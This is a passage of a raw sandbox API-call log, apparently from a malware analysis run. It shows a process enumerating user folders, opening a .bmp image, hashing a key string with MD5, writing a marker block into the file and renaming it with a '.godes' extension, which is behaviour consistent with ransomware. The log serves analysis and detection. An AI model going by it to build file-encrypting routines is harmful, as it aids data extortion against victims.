HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321858 [0115.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0115.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.653] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.653] PathFindFileNameW (pszPath="") returned="" [0115.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.654] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.654] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.654] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.654] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321858 [0115.654] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33217c0 [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0115.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0115.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.654] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.655] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.655] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.655] PathFindFileNameW (pszPath="") returned="" [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.655] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x214) returned 0x32bd5d0 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fb98 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0590 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a04a8 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a03c0 [0115.655] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fd68 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0020 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0cd0 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0db8 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0ea0 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0f88 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a1070 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a1158 [0115.656] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0115.656] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.656] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0115.656] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\") returned="K-e0Wu\\" [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323eee0 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\") returned="aoQ9WvOr9RAjhS9\\" [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321858 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\") returned="KL GUyg5\\" [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741048 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0115.656] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0115.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.657] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.657] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.657] PathFindFileNameW (pszPath="") returned="" [0115.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f331320, ftCreationTime.dwHighDateTime=0x1d4d1d9, ftLastAccessTime.dwLowDateTime=0x4a3ec500, ftLastAccessTime.dwHighDateTime=0x1d4d3c6, ftLastWriteTime.dwLowDateTime=0x4a3ec500, ftLastWriteTime.dwHighDateTime=0x1d4d3c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.657] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f331320, ftCreationTime.dwHighDateTime=0x1d4d1d9, ftLastAccessTime.dwLowDateTime=0x4a3ec500, ftLastAccessTime.dwHighDateTime=0x1d4d3c6, ftLastWriteTime.dwLowDateTime=0x4a3ec500, ftLastWriteTime.dwHighDateTime=0x1d4d3c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.657] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd185e8c0, ftCreationTime.dwHighDateTime=0x1d4d43b, ftLastAccessTime.dwLowDateTime=0x2943a900, ftLastAccessTime.dwHighDateTime=0x1d4caad, ftLastWriteTime.dwLowDateTime=0x2943a900, ftLastWriteTime.dwHighDateTime=0x1d4caad, nFileSizeHigh=0x0, nFileSizeLow=0x6930, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CS68tY4DDQ.bmp", cAlternateFileName="CS68TY~1.BMP")) returned 1 [0115.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\CS68tY4DDQ.bmp") returned=".bmp" [0115.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\CS68tY4DDQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\cs68ty4ddq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.657] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=26928) returned 1 [0115.658] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.659] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x690a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.659] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.661] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x6930, lpOverlapped=0x0) returned 1 [0115.661] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.661] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.661] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.661] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.661] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.662] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.662] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.662] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.662] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.662] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.662] GetLastError () returned 0x0 [0115.662] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.662] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.663] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6930, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.663] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.663] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.663] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.663] CloseHandle (hObject=0x624) returned 1 [0115.664] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0678 [0115.664] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.664] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\CS68tY4DDQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\cs68ty4ddq.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\CS68tY4DDQ.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\cs68ty4ddq.bmp.godes")) returned 1 [0115.664] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.664] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.665] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.665] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x984674a0, ftCreationTime.dwHighDateTime=0x1d4c629, ftLastAccessTime.dwLowDateTime=0xfe4e74a0, ftLastAccessTime.dwHighDateTime=0x1d4c7f0, ftLastWriteTime.dwLowDateTime=0xfe4e74a0, ftLastWriteTime.dwHighDateTime=0x1d4c7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f5IF7l Fg-1E1w", cAlternateFileName="F5IF7L~1")) returned 1 [0115.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0678 [0115.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.665] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 